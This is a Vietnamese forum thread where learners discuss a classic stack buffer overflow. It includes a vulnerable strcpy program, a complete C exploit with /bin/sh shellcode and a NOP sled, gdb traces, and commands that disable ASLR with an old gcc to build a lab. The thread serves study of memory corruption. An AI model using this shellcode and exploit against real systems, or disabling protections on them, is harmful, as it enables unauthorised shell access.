$ gcc -o vuln vuln.c
...
$ ./vuln
Segmentation fault
$ ./vuln test
$ ./vuln `perl -e 'print "A"x600;'`
Segmentation fault 

3. Theo "Art of Exploitaion" edition 1, đoạn exploit trên khi run sẽ trả về một shell. Khoai có thay đoạn shellcode (cũng là exec /bin/sh) nhưng khi run exploit thì chỉ nhận được:Code:

ESP : 0xbfa7c608
offset : 0x0
RetAddr: 0xbfa7c608
Segmentation fault

Có phải đây là do việc đoán address bị sai? Khoai đã thử tạo một hàm vuln, và thay vì execl thì khoai cho chính exploit gọi vuln, và điều chỉnh lại offset cho đúng với ESP của vuln, nhưng vẫn không spawn shell được mà chỉ bị seg fault. Lỗi là ở đâu?  

4. Ngoài cách dùng ESP để đoán address thì có cách nào khác? Ví dụ khi exploit một client server application thì chương trình exploit đâu có gọi được chương trình bị bof? Vậy càng không thể đoán address dựa trên ESP?  

--> khúc này chưa nói lên điều gì cả, 

Disable cái randomize_va_space trong  

Khi khoai thay đỗi shellcode thì phải chắc rằng shellcode đó chiếm bao nhiêu byte? từ đó để để tính toán lại một lần nữa (thêm bớt NOP code) để vừa khít buffer bị tràn. Ở đây ko thấy khoai dùng gdb debug xem phải dùng chính xác bao nhiêu byte để ghi đè vừa đủ cái buffer[500] kia (vừa đủ nghĩa là số byte ghi đề buffer[500]+ số byte ghi đè khít 4 byte EIP, cái này thì tùy vào OS, compiler). 

Mình chỉ cần gọi chương trình bị bof khi nó ... chưa chạy thôi mà khoai 

Giả sử ta có một chương trình như sau:Code:

/*
 * vuln.c
 */
int main(int argc, char *argv[])
{
   char buffer[500];
   strcpy(buffer, argv[1]);
   return 0;
}

Và kiểm tra thử:Code:

$ gcc -o vuln vuln.c
...
$ ./vuln
Segmentation fault
$ ./vuln test
$ ./vuln `perl -e 'print "A"x600;'`
Segmentation fault

Sau đó, ta có thêm một đoạn code exploit.c như sau:Code:

#include <stdio.h>
#include <stdlib.h>

char shellcode[]=
        "\x6a\x0b"              // push $0xb 
        "\x58"                  // pop %eax 
        "\x99"                  // cltd 
        "\x52"                  // push %edx 
        "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f 
        "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f 
        "\x89\xe3"              // mov %esp,%ebx 
        "\x52"                  // push %edx 
        "\x53"                  // push %ebx 
        "\x89\xe1"              // mov %esp,%ecx 
        "\xcd\x80";             // int $0x80 
unsigned long sp() {
        __asm__("movl %esp, %eax");}

int main (int argc, char *argv[]) {
        int i, offset;
        long esp, ret, *addr_ptr;
        char *buf, *ptr;

        offset = 0 ;    // Cụ thể cho cái vuln này
        esp = sp();
        ret = esp - offset;

        printf ("ESP    : 0x%x\n", esp);
        printf ("offset : 0x%x\n", offset);
        printf ("RetAddr: 0x%x\n", ret);

        buf = malloc(600);
        ptr = buf;

        addr_ptr = (long *)ptr;
        /* Initialize cái return address */
        for (i=0; i<600; i+=4)
                *(addr_ptr++) = ret;

        /* NOP sled */
        for (i=0; i<202; i++)
                buf[i] = '\x90';

        /* Bỏ đám shellcode vô đây */
        ptr = buf + 202;
        for (i=0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];

        buf[600-1] = 0;
        execl("./vuln", "./vuln", buf, 0);
        //vuln(buf);
        return (0);
}

Câu hỏi

1. Ở vuln, khi run mà không có tham số nào cả thì vì sao bị seg fault? đáng lẽ ra strcpy sẽ không copy gì cả mới đúng chứ? Hay là argv[1] tự động trỏ tới phần memory trên stack, và phần này vô tình nullify nhiều hơn 500 bytes nên mới có tình trạng seg fault?

2. exploit dùng chính ESP để đoán address cho NOP sled. Nhưng, khi exploit gọi execl, execl sẽ fork vuln, và vuln sẽ có stack riêng, vậy kỹ thuật này đâu đoán đúng địa chỉ của NOP sled?

3. Theo "Art of Exploitaion" edition 1, đoạn exploit trên khi run sẽ trả về một shell. Khoai có thay đoạn shellcode (cũng là exec /bin/sh) nhưng khi run exploit thì chỉ nhận được:Code:

ESP    : 0xbfa7c608
offset : 0x0
RetAddr: 0xbfa7c608
Segmentation fault

Có phải đây là do việc đoán address bị sai? Khoai đã thử tạo một hàm vuln, và thay vì execl thì khoai cho chính exploit gọi vuln, và điều chỉnh lại offset cho đúng với ESP của vuln, nhưng vẫn không spawn shell được mà chỉ bị seg fault. Lỗi là ở đâu?

4. Ngoài cách dùng ESP để đoán address thì có cách nào khác? Ví dụ khi exploit một client server application thì chương trình exploit đâu có gọi được chương trình bị bof? Vậy càng không thể đoán address dựa trên ESP?

Cám ơn bà con đã đọc.
khoai 

gcc -fno-stack-protection vuln.c -o vuln.c
 

chỉ không hiểu vì sao run ./vuln không có args nào cả cũng bị Seg Fault 

Như vậy một chương trình khi được chạy trong hệ thống sẽ có một vùng nhớ nhất định 

mình dựa vào đâu để đoán ra return address 

Đó chính là câu hỏi của khoai. Khi mình không gọi nó (đặc biệt là khi vuln ở một remote host) thì mình dựa vào đâu để đoán ra return address? Như vậy không lẽ cùng một đoạn code khi run sẽ được đặt tại một vùng nhớ nhất định (đương nhiên là trên cùng OS)?
 

Câu này tương tự như câu đầu tiên, gamma hay ai có tài liệu về memory management trên linux thì xin send cho khoai.
 

Vả lại "đoán" cũng chỉ là "đoán", không phải là "chỉ điểm".

Theo kinh nghiệm của mình thì đây thật sự là một cách học sai. Cách học đúng sẽ chỉ cho bạn cách "chỉ điểm". Từ đó mới bắt đầu phát triển lên để vượt rào ASLR này nọ.
 

gamma95 wrote:

gcc -fno-stack-protection vuln.c -o vuln
 

 

Một vấn đề cần phải lưu ý là các tài liệu viết về buffer overflow đa số đều dựa trên các môi trường (compiler + kernel) cũ xưa, mà môi trường bây giờ thì đã thay đổi rất nhiều rồi (theo chiều hướng ngày càng khó khai thác). Nên đừng ngạc nhiên nếu tại sao đọc tài liệu rồi làm theo mà vẫn kô làm được.

Muốn học mấy cái này, như sư phụ lamer nói, thì phải có một môi trường thật đơn giản, để từ đó, mình có thể "chỉ tận tay, day tận mặt" cách chương trình bị khai thác, y như trong mấy cái tài liệu classic.

--m
 

/*
  * vuln.c
  */
 int main(int argc, char *argv[])
 {
    char buffer[500];
    strcpy(buffer, argv[1]);
    return 0;
 }

1. Ở vuln, khi run mà không có tham số nào cả thì vì sao bị seg fault? đáng lẽ ra strcpy sẽ không copy gì cả mới đúng chứ? Hay là argv[1] tự động trỏ tới phần memory trên stack, và phần này vô tình nullify nhiều hơn 500 bytes nên mới có tình trạng seg fault?
 

1. Để verify, bồ thử chạy chương trình trong gdb, rồi xem nó bị segfault chỗ nào. Nếu tôi nhớ không lầm thì nó bị segfault ngay trong strcpy, chứ không phải segfault khi hàm main return.
 

Không có arg nào tức là argv sẽ chứa rác. Và khi strcpy truy xuất địa chỉ rác này, nó sẽ bị segfault.
 

Theo kinh nghiệm của mình thì đây thật sự là một cách học sai. Cách học đúng sẽ chỉ cho bạn cách "chỉ điểm". Từ đó mới bắt đầu phát triển lên để vượt rào ASLR này nọ.  

ko có args thì có nghĩa là ko tồn tại argv[1], argv[2] 

Phải thấy được main() call ra sao và ASM code của main() thì sẽ hiểu được tại sao pagefault. 

Anh lamer có quyển sách nào chỉ "cách học đúng" để nghiên cứu thêm về vấn đề này thì xin chỉ giáo. Khoai không biết nhiều về coding, nên vớ được quyển nào thấy hay hay là đọc ngay. 

Xin chào các bạn, mình cũng mắc phải một vấn đề như vậy. Nghĩa là, mình đọc sách bắt đầu từ các ví dụ đơn giản và cố gắng hiểu cơ chế của nó. Mình nghĩ là cũng tương đối hiểu cơ chế đó, nhưng cứ đến khi chạy chương trình exploit lại không được như ý muốn. Vậy mình xin hỏi các bạn có kinh nghiệm
- Tạo 1 "môi trường đơn giản" là như thế nào? (phải chăng phải dựng lại hệ thống với compiler + kernel cũ xưa)
- Để có thể học đúng cách về BoF thì nên tiến hành các bước cụ thể thế nào? (B1: Thử với "môi trường đơn giản"; B2: Một số vấn đề với các hệ thống ngày nay,...?)

Cảm ơn các bạn.
 

$ sudo apt-get install gcc-3.3

$ sudo su -c "echo 0 > /proc/sys/kernel/randomize_va_space"

Anh lamer có quyển sách nào chỉ "cách học đúng" để nghiên cứu thêm về vấn đề này thì xin chỉ giáo. Khoai không biết nhiều về coding, nên vớ được quyển nào thấy hay hay là đọc ngay.

khoai 

Có thêm một cuốn khá hay về đề tài buffer overflow và nhiều cái khác, bạn tìm xem thử ...

The Shellcoder's Handbook: Discovering and Exploiting Security Holes (2nd Edition)
 

Như đã nói ở trên, có hai yếu tố ảnh hưởng rất lớn đến việc tìm hiểu về các lỗi memory corruption là compiler và kernel. Nên suy nghĩ của bồ là chính xác. Tuy vậy, không cần phải dựng lại hệ thống, bồ chỉ cần cài đặt compiler cũ (cỡ gcc < 4) và disable các tính năng *bảo vệ* của kernel là được.

Ví dụ như nếu bồ sử dung Ubuntu, thì chỉ cần làm những việc sau đây:

Code:

$ sudo apt-get install gcc-3.3

$ sudo su -c "echo 0 > /proc/sys/kernel/randomize_va_space"

là bồ đã có được một môi trường đơn giản để chơi rồi.

--m 

Nên người thầy mà dạy tốt, là người chỉ hướng dẫn, chứ không làm thay, rồi để học trò tự giải quyết vấn đề của họ. Sách thường kô làm được điều này, bởi lẽ nó không có tương tác giữa thầy và trò, dẫn đến việc sách nói một đường, trò hiểu một nẻo, nhưng sách không có cách nào để nhận ra là trò đang hiểu sai, để kịp thời điều chỉnh. Một vấn đề nữa là sách thường hay lan man, nói những thứ không cần thiết. Còn thầy thì, nhờ kinh nghiệm, biết rõ cái gì là cần thiết, cần phải tập trung vào đó.

Nói chung là nên tìm một ông thầy tốt như anh lamer :p.

--m
 

anh lamer: Anh coi rảnh rỗi lúc train cho mrro đi kìa, em thấy mrro hâm mộ anh quá trời  

@xtinhcau: tôi nghĩ đọc sách những đề tài thế này, thường sẽ dẫn đến hai tình huống:

1. tưởng là hiểu nhưng hóa ra không hiểu gì hết.

2. tưởng là hiểu nhưng hóa ra chỉ là nhớ.

cả hai tình huống này đều dẫn đến một kết quả: làm không được.

Tôi nghĩ chỉ nên nghĩ là "đã hiểu" một khi có thể tự phân tích và tự giải quyết được những vấn đề tương tự nhưng khác hoặc mới hơn những vấn đề mà sách đưa ra.
 

Kiến thức mà mình tự gain được, bao giờ cũng bền chắc hơn rất nhiều kiến thức mà người khác nhồi vào đầu mình.

Nên người thầy mà dạy tốt, là người chỉ hướng dẫn, chứ không làm thay, rồi để học trò tự giải quyết vấn đề của họ. Sách thường kô làm được điều này, bởi lẽ nó không có tương tác giữa thầy và trò, dẫn đến việc sách nói một đường, trò hiểu một nẻo, nhưng sách không có cách nào để nhận ra là trò đang hiểu sai, để kịp thời điều chỉnh. Một vấn đề nữa là sách thường hay lan man, nói những thứ không cần thiết. Còn thầy thì, nhờ kinh nghiệm, biết rõ cái gì là cần thiết, cần phải tập trung vào đó.

Nói chung là nên tìm một ông thầy tốt như anh lamer :p.

--m
 

$ cat -n vuln.c
     1  /*
     2   * vuln.c
     3   */
     4  int
     5  main(int argc, char *argv[])
     6  {
     7          char buf[500];
     8          strcpy (buf, argv[1]);
     9          return 0;
    10  }
$ gcc -o vuln -g vuln.c
$ gdb -q vuln
(gdb) disas main
Dump of assembler code for function main:
0x8048328 <main>:       push   ebp
0x8048329 <main+1>:     mov    ebp,esp
0x804832b <main+3>:     sub    esp,0x208
0x8048331 <main+9>:     and    esp,0xfffffff0
0x8048334 <main+12>:    mov    eax,0x0
0x8048339 <main+17>:    sub    esp,eax
0x804833b <main+19>:    sub    esp,0x8
0x804833e <main+22>:    mov    eax,DWORD PTR [ebp+12];Có lẽ là lea của argv[1]
0x8048341 <main+25>:    add    eax,0x4
0x8048344 <main+28>:	push   DWORD PTR [eax]; push địa chỉ của argv[1]?
0x8048346 <main+30>:	lea    eax,[ebp-520] ;load địa chỉ của buf
0x804834c <main+36>:	push   eax ; push buf lên?
0x804834d <main+37>:	call   0x8048268 <strcpy>
0x8048352 <main+42>:	add    esp,0x10
0x8048355 <main+45>:	mov    eax,0x0
0x804835a <main+50>:	leave  
0x804835b <main+51>:	ret    
End of assembler dump.
(gdb)

(gdb) b 8
Breakpoint 1 at 0x804833b: file vuln.c, line 8.
(gdb) r test
Starting program: /home/khoai/vuln test

Breakpoint 1, main (argc=2, argv=0xbffffb14) at vuln.c:8
8 strcpy (buf, argv[1]);
(gdb) 

(gdb) x/ &argv
0xbffffac4: 0xbffffb14
(gdb) x/4x $ebp
0xbffffab8: 0xbffffae8 0x40030bb4 0x00000002 0xbffffb14
(gdb) x/4x 0xbffffb14
0xbffffb14: 0xbffffc0d 0xbffffc1e 0x00000000 0xbffffc23
(gdb) x/s 0xbffffc0d
0xbffffc0d: "/home/khoai/vuln"
(gdb) x/s 0xbffffc1e
0xbffffc1e: "test"
 

High mem <------------------------------------> Low mem
[argv][argc][old EIP][old EBP][...buf...]
 

(gdb) r
Starting program: /home/khoai/vuln

Breakpoint 1, main (argc=1, argv=0xbffffb14) at vuln.c:8
8 strcpy (buf, argv[1]);
(gdb) x/4x $ebp
0xbffffab8: 0xbffffae8 0x40030bb4 0x00000001 0xbffffb14
 

(gdb) x/4x 0xbffffb14
0xbffffb14: 0xbffffc12 0x00000000 0xbffffc23 0xbffffc52
(gdb) x/s 0xbffffc12
0xbffffc12: "/home/khoai/vuln"